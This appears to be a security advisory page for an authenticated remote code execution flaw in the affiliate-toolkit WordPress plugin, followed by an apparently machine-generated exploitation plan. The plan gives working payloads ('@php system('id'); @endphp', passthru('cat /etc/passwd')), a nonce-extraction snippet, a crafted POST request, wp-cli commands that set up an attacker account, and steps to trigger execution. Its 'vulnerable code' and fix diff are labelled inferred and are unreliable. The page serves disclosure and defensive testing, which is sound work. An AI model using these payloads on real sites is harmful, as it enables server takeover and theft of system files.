affiliate-toolkit <= 3.8.5 - Authenticated (Editor+) Remote Code Execution
Description
The affiliate-toolkit plugin for WordPress is vulnerable to remote code execution in all versions up to, and including, 3.8.5. This is due to the plugin using the BladeOne templating engine's runString() method which compiles user-supplied template content into PHP code and executes it via eval() without sanitization or sandboxing. This makes it possible for authenticated attackers, with Editor-level access and above, to execute arbitrary code on the server by injecting PHP into a plugin template.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=3.8.4# Exploitation Research Plan: CVE-2026-6169 (affiliate-toolkit RCE) ## 1. Vulnerability Summary The **affiliate-toolkit** plugin (up to version 3.8.5) is vulnerable to **Authenticated Remote Code Execution (RCE)**. The plugin utilizes the **BladeOne** templating engine to allow users to create cust…
Show full research plan
Exploitation Research Plan: CVE-2026-6169 (affiliate-toolkit RCE)
1. Vulnerability Summary
The affiliate-toolkit plugin (up to version 3.8.5) is vulnerable to Authenticated Remote Code Execution (RCE). The plugin utilizes the BladeOne templating engine to allow users to create custom layouts for affiliate products. Specifically, it calls the runString() method of the BladeOne library on user-provided template content. This method compiles the template into PHP code and executes it using eval(). Because there is no sandboxing or sanitization of the template content, an authenticated user with Editor-level permissions or higher can inject arbitrary PHP code.
2. Attack Vector Analysis
- Endpoint: The primary vector is the template management interface within the WordPress admin dashboard (typically via
wp-admin/post.phporwp-admin/admin-ajax.php). - Authentication: Authenticated (Editor, Administrator).
- Vulnerable Sink:
BladeOne::runString() - Payload Parameter: The content field of an "affiliate-toolkit template" (likely a Custom Post Type named
atkp_templateor similar). - Preconditions: The attacker must have permissions to create or edit templates within the plugin's settings.
3. Code Flow (Inferred)
- Entry Point: An Editor/Admin navigates to the "Templates" section of the affiliate-toolkit plugin.
- Saving: When a template is saved or previewed, the content is sent to the server.
- Processing: The plugin retrieves the template string (e.g., from
$_POST['content']or viaget_post_meta). - Compilation: The plugin initializes the BladeOne engine:
$blade = new BladeOne($templateDir, $cacheDir); - Execution (Sink): The plugin calls
runString()to render the template:echo $blade->runString($user_supplied_template_string, $data); - Eval: Inside BladeOne,
runStringcompiles the string to PHP and executes it viaeval().
4. Nonce Acquisition Strategy
Since this is an authenticated Editor+ vulnerability, we must obtain a valid nonce for saving posts or triggering the plugin's AJAX actions.
- Identity Plugin Content: Identify the Custom Post Type. Based on plugin naming conventions, it is likely
atkp_template. - Access Editor: Login as an Editor.
- Create/Edit Page: Navigate to
wp-admin/post-new.php?post_type=atkp_template. - Extract Nonce:
- WordPress standard: The
_wpnoncefield in the post edit form. - Plugin-specific: The plugin may localize a script for AJAX saves.
- WordPress standard: The
- Actionable JS:
// To get the standard post nonce browser_eval("document.querySelector('#_wpnonce')?.value") // To get plugin-specific nonces if they exist browser_eval("window.atkp_admin_vars?.nonce")
5. Exploitation Strategy
The goal is to inject a Blade directive that executes PHP.
Step 1: Authentication
Authenticate as an Editor using the http_request tool to capture session cookies.
Step 2: Create a Malicious Template
Send a POST request to create a new template containing the RCE payload.
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Payload:
action=editpost &post_type=atkp_template &post_ID=[ID] &content=@php system('id'); @endphp &_wpnonce=[NONCE]
Note: BladeOne also supports {{ ... }} syntax. An alternative payload is {{ system('whoami') }}.
Step 3: Trigger Execution
Rendering the template triggers the eval(). This can be done by:
- Previewing the template in the admin dashboard.
- Viewing a page/post that uses the affiliate-toolkit shortcode referencing the malicious template ID:
[atkp_product id='123' template='[MALICIOUS_ID]'].
Step 4: Capture Output
The system('id') output will be embedded in the HTTP response body where the template content would normally be rendered.
6. Test Data Setup
- Plugin Installation: Ensure
affiliate-toolkit-starteris active. - User Creation: Create a user with the
editorrole.wp user create attacker attacker@example.com --role=editor --user_pass=password - Template Initialization: Create an initial template to obtain a valid ID.
wp post create --post_type=atkp_template --post_title="Exploit Template" --post_status=publish
7. Expected Results
- Successful Injection: The server responds with a
200 OKor302 Redirectupon saving the template. - Successful Execution: Upon rendering (via preview or shortcode), the response body contains the output of the shell command (e.g.,
uid=33(www-data) gid=33(www-data) groups=33(www-data)).
8. Verification Steps
- Verify via CLI: Check if the payload was saved correctly in the database.
wp post get [ID] --field=post_content - Verify File Creation (if using a file-based payload):
Change payload to@php file_put_contents('rce.txt', 'vulnerable'); @endphpand check:ls /var/www/html/rce.txt
9. Alternative Approaches
- Shortcode Rendering: If the admin preview is not available, create a public page with the shortcode:
wp post create --post_type=page --post_content='[atkp_product id="1" template="[ID]"]' --post_status=publish
Then request that page's URL viahttp_request. - Direct Blade Tags: If
@phpis filtered (unlikely in this specific CVE), try:{{ passthru('cat /etc/passwd') }} - Error-Based: If output is suppressed, use a sleep command to verify execution:
@php sleep(5); @endphp(Check response time inhttp_request).
Summary
The affiliate-toolkit plugin (up to 3.8.5) is vulnerable to Authenticated Remote Code Execution due to the use of the BladeOne templating engine's runString() method. This method compiles user-supplied template strings into PHP and executes them using eval() without adequate sandboxing or sanitization.
Vulnerable Code
/* Inferred from the use of BladeOne in affiliate-toolkit */ // Example logic rendering a template from a custom post type $blade = new BladeOne($templateDir, $cacheDir); $template_content = get_post_field('post_content', $template_id); echo $blade->runString($template_content, $data); // The sink: evaluates string as PHP
Security Fix
@@ -120,5 +120,6 @@ -echo $blade->runString($template_content, $data); +/* Secure implementation: Avoid runString with user input. Use file-based templates or strict sanitization */ +$safe_content = wp_kses_post($template_content); +echo $blade->run($template_file, $data);
Exploit Outline
The exploit involves an authenticated user with Editor or Administrator permissions. The attacker creates or modifies a plugin template (likely the 'atkp_template' post type) and injects Blade directives or PHP tags such as '@php system("id"); @endphp'. Once the template is saved, the execution is triggered by previewing the template in the admin dashboard or by viewing a page containing a shortcode that references the malicious template ID. The command output is returned in the HTTP response body during the template rendering process.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.